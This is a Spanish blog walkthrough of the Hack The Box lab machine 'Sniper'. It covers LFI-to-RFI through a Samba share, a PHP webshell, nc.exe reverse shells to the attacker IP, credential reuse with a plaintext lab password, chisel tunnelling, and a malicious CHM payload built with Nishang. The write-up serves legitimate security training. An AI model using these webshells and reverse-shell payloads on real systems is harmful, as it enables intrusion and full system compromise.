En este post voy a vulnerar la máquina Sniper de Hack The Box. Es una máquina Windows de nivel medio, en la que exploto una vulnerabilidad de Local File Inclusion (LFI) que transformo en un Remote File Inclusion (RFI), una escalada de privilegios basada en user pivoting, del que existen varias formas de conseguirlo, y la creación de un fichero malicioso.
Enumeración
Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.
nmap -p- -n --open --min-rate 5000 10.10.10.151

En la máquina hay cuatro puertos abiertos. Escaneo los puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p80,135,139,445 -sV -sC 10.10.10.151 Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-11 20:39 CET Nmap scan report for 10.10.10.151 Host is up (0.12s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Sniper Co. 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 7h15m59s | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2022-03-12T02:55:51 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 54.03 seconds

Con crackmapexec averiguo que se trata de una máquina con Windows 10 de 64 bits.
crackmapexec smb 10.10.10.151

HTTP
Comienzo obteniendo información básica de la web con whatweb.
whatweb -a 3 http://10.10.10.151:80/

y, a continuación, accedo a la web.

Entro al blog y a primera vista no aparece nada llamativo.

Pero al leer el código fuente, encuentro tres etiquetas interesantes.

Explotación
LFI
El parámetro lang puede ser un vector potencial de Local File Inclusión (LFI) y está cargando un fichero .php. Pruebo a leer un fichero típico de Windows como es /windows/win.ini y veo que me deja leerlo, así que confirmo la vulnerabilidad LFI.

Para trabajar de forma mas cómoda, capturo la petición con BurpSuite y la mando al repeater.
Pruebo otra ruta típica como es \windows\System32\drivers\etc\hosts.

A continuación, intento ejecutar un archivo remoto a través de PHP pero no obtengo respuesta. Esto seguramente se deba a que la ejecución remota de comandos (RCE) esté deshabilitada pero se me ocurre que, ya que php está habilitado, puedo intentar una ejecución local de ficheros (RFI) a través de un servidor samba.
RFI
Primero pongo un samba a la escucha he intento leer el fichero info.php.
<?php
phpinfo();
?>
sudo impacket-smbserver -smb2support evil .


Aunque consigo que establezca conexión, no consigo que funcione correctamente, por lo que decido modificarlo para crear un servidor samba estándar en Linux (más info aquí).
sudo net usershare add evil /home/DrP1ng/ctf/htb/sniper/ '' 'Everyone:F' guest_ok=y

Vuelvo a intentar la petición y ya puedo ver la página de información de php.

Reviso las funciones de php deshabilitadas y veo que no hay ninguna.

Vuelvo a crear un fichero php pero esta vez busco que sea un backdoor que me permita ejecutar comandos.
<?php system($_GET['cmd']); ?>


Como se puede ver en las imágenes anteriores, he conseguido una webshell.
Para conseguir una shell por consola, utilizo un binario de netcat (nc.exe), lo cargo en el directorio compartido de Samba y consigo una consola de powershell.
http://10.10.10.151/blog/?lang=//10.10.14.16/evil/cmd.php&cmd=\\10.10.14.16\evil\nc.exe+-e+powershell.exe+10.10.14.16+443


Me dirijo a la ruta C:\inetpub\wwwroot\user y encuentro un fichero llamado db.php.

Lo abro y encuentro lo que parece ser una contraseña para mysql.

Compruebo los usuarios del sistema con directorio propio en la máquina y deduzco que el password debe pertenecer al usuario Chris.

Compruebo la información del usuario Chris y veo que esta en el grupo Remote Management Users por lo que las credenciales deberían servir para autenticarme de forma remota.

En adelante puedo hacer el user pivoting de dos formas: Elevando consola o a través de un remote port-forwarding.
Elevando Consola
Como no puedo conectarme de forma remota, solo puedo «elevar consola», esto ya lo he hecho anteriormente en las máquinas Bart y Control de HTB. Ejecuto los siguientes comandos y compruebo que el método funciona.
hostname
$user = 'Sniper\Chris'
$pass = '36mEAhz/B8xQ~2VM'
$secpass = ConvertTo-SecureString $pass -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential $user,$secpass
Invoke-Command -Computer localhost -Credential $cred -ScriptBlock {whoami}
whoami

Esto significa que las credenciales son válidas. Ejecuto el binario nc.exe que estoy compartido por Samba como el usuario Chris y obtengo una shell reversa.
Invoke-Command -Computer localhost -Credential $cred -ScriptBlock {\\10.10.14.16\evil\nc.exe -e powershell.exe 10.10.14.16 443}


Remote Port-Forwarding
Enumero las conexiones activas y veo que el puerto 5985 está a la escucha. Este puerto es el habitual de WinRM.
netstat -nato

Me descargo Chisel y subo el binario exe a la máquina víctima.

A continuación, creo un servidor remoto por el puerto 1234 en mi máquina atacante.
./chisel server --reverse --port 1234

Me conecto con chisel en modo cliente a la máquina victima por el puerto 1234 y hago un Remote Port-Forwarding llevando el puerto 5985 de la máquina de victimas al puerto 5985 de la máquina atacante.
./chisel.exe client 10.10.14.16:1234 R:5985:127.0.0.1:5985

Compruebo que se ha establecido el túnel.

Compruebo con crackmapexec las credenciales y veo que son válidas para conectarme por WinRM.
crackmapexec winrm 127.0.0.1 -u 'Chris' -p '36mEAhz/B8xQ~2VM'

Consigo una shell reversa con evil-winrm.
evil-winrm -i 127.0.0.1 -u 'Chris' -p '36mEAhz/B8xQ~2VM'

La flag de usuario la encuentro en la ruta C:\Users\Chris\Desktop\user.txt.

Escalada de Privilegios
En la ruta C:\Docs encuentro un fichero llamado note.txt.


En la carpeta de descargas del directorio de Chris hay un fichero llamado instructions.chm.

Windows reversa la extensión chm para los ficheros de ayuda, por lo que podría ser la documentación del la que hablaba el CEO en la nota.

Investigué un poco y encontré que Nishang posee el script Out-CHM.ps1 que puede generar un payload malicioso.

Creo el laboratorio y genero el payload en una máquina de pruebas (más info aquí) y después lo paso a mi kali.
Import-Module .\Out-CHM.ps1 Out-CHM -Payload "C:\Windows\Temp\evil\nc.exe -e powershell.exe 10.10.14.16 443" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"


Ahora, primero subo el nc.exe a la ruta indicada en el payload.

Subo el payload a C:\Docs.

Y en unos pocos segundos consigo la shell reversa.

La flag de administrador la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

